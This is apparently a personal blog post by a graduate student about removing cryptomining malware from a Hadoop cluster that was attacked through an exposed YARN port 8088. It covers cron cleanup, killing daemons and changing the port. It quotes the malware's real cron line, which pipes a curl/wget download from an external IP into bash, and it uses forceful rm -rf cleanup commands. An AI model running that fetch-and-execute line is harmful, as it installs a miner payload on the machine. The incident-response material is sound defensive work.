几天前学弟说我们的集群被攻击了,集群网速变得特别慢,而且CPU占用全都100%,不用说,肯定是被挖矿了。
之前也发生了次挖矿,然而跟集群没有关系,所以很容易的就被清除了,这次跟hadoop集群有关,不止是CPU全占满了,打开yarn管理页面master:8088,yarn还一直在执行dr.who的奇怪任务,症状如图(没截到图,转载的):
百度了下发现很多人都被酱紫黑过,据说是利用yarn集群的漏洞不断地向8088端口提交get shell下载脚本,然后不断执行让集群中的其他机器中招。
看了下路由器的日志,如下:
原来一直有其他ip在试图入侵8088、7989等一系列的端口。在这种情况下,需要先断掉了外网网线,然后把受感染的slave清除掉。
1. 断了网线后,观察某一台slave,在slave中输入:
top
CPU占用达到2502%,程序名r1x(有多个),百度发现有些伪装名字成java的,有些伪装成bash,bash64的等等,而且一般都有守护进程和定时任务,直接用kill结束进程会马上启动新进程。
于是先看看定时任务:
crontab -l
好吧,这个东西在偷偷下载挖矿脚本啊!一般这种情况下用crontab -r指令是清除不干净的,需要从根源上删除。
cd /var/spool/cron
ls
有个crontabs文件夹和root文件,一般挖矿的定时脚本就在root(用户名)文件内,有可能在/var/spool/cron或/var/spool/cron/crontabs路径内(我都中过,这叫病毒的多样性),解决方法很简单,直接把cron文件内的文件删除就行。
注意1:
当然了,比较强悍的程序会一直在/var/spool/cron或/var/spool/cron/crontabs这两个路径内重新复写root文件,这就导致你无法删除这个定时任务,这样你既无法删除定时任务也没法结束进程,陷入一个死循环。同样,编辑root文件直接把这curl的挖矿语句删除也不行,照样被覆盖。于是就有了这神奇的解决方法:
把这句挖矿语句:
*/30 * * * * (curl -s http://37.44.212.223/xdd.sh||wget -q -O - http://37.44.212.223/xdd.sh)|bash -sh
改成:
l s http://37.44.212.223/xdd.sh||t -q - -http://37.44.212.223/xdd.sh)|b -h
没错,就是把他的定时脚本改残就行!守护进程应该是检测xdd.sh或矿池地址的,并不能检测脚本能不能运行~
这个时候,只要把所有守护进程结束了,由于定时脚本有语法错误不能执行,把守护进程文件删了就不会再下载,然后清理干净最后再清除定时脚本就可以了!来句rm -rf /var/spool/cron
注意2:
发现只清理/var/spool/cron还是不行,还是有定时任务残留,检查/etc/cron.d下的root文件
cd /etc/cron.d
ls
果然是还有残留,果断将其rm -rf root
为了防止还有其他定时任务残留,检查/etc目录下的所有cron文件和文件夹,看看还有没有挖矿定时任务,包括cron.d, cron.daily, cron.hourly, cron.monthly, crontab等等
接着观察守护进程,看来只要断网了就不挖矿了啊,一般来说守护进程会有多个,需要逐一清理。
观察到PID是15893,输入:
ps -ef | grep 15893
看来这进程路径藏在/var/tmp里,也有在/tmp或者是/root/.tmp00或/root/.tmp00的,建议读者都查一遍,一般都是隐藏文件,所以ll指令来查看:
有好几个文件,先用kill -9指令讲所有守护进程结束了,然后把这些文件全都删掉,注意一定要断网操作,这些路径一个都不要放过/var/tmp,/tmp,/root/.tmp00和/root/..tmp00。
然后检查系统启动文件/etc/rc.local等有没有挖矿启动代码,有的就删掉,这样,一台slave的挖矿病毒基本上就解决了。
2. 清除其他所有slave及master的挖矿程序,步骤同1
3. 端口处理
因为一直以为8088端口是内网端口,就猜想肯定有没解决的问题。不外乎如下:
(1)hadoop被修改
(2)存在其他进程与外网通信来进行任务提交
知道是8088端口的问题,首先想到把8088端口改到其他端口,修改主机的/hadoop/etc/hadoop中的yarn-site.html文件,把端口改成23456
<property>
<name>yarn.resourcemanager.webapp.address</name>
<value>master:23456</value>
</property>
然后检查该文件夹中所有其他的文件-env.sh是否有被修改的痕迹,有的话改回来,文献1里就遇到了,我倒没有,因此并非第一种情况。
对于第二种情况,这些隐藏的进程要肯定会提交任务到8088端口,所以理论上写个简单的服务器程序监听8088端口就可以。于是网上扣了个代码试试,等了15分钟左右,果然来了,但竟然是个美国的IP:144.217.129.215,这就奇怪了,外网IP是怎么能访问我们的内网端口8088呢?
于是又写了个客户端,并且用4g网测试了,竟然连上了!好吧,原来8088是个外网端口,之前老师可能没说清楚,这下清楚整个攻击流程了……
4. 入侵流程
(1)外网利用yarn的8088端口向集群提交get shell任务
(2)下载的脚本被传送至各slave
(3)各slave执行脚本,启动守护进程挖矿,并添加定时任务,下载更多脚本
(4)高级的可能会修改hadoop运行环境,或添加系统启动脚本
5.解决方案小结
(1)断外网,禁止外部访问8088端口,并修改8088端口为其他端口
(2)有需要可以断内网,防止内部扩散
(3)修改或删除定时任务
(4)查找守护进程路径,结束所有守护进程并将其删除
(5)检查其他可能的路径,hadoop运行环境以及启动文件
6.tips
如果发现还是没有清理干净,记得检查所有跟cron或anacron或crontab相关的文件!
后记:
啰啰嗦嗦地写了个日志,不折腾啦!前两天预答辩还被导师批评说太啰嗦,明天好好修改PPT,迎接个把礼拜后的硕士答辩!没错!博主我要毕业啦哈哈哈哈!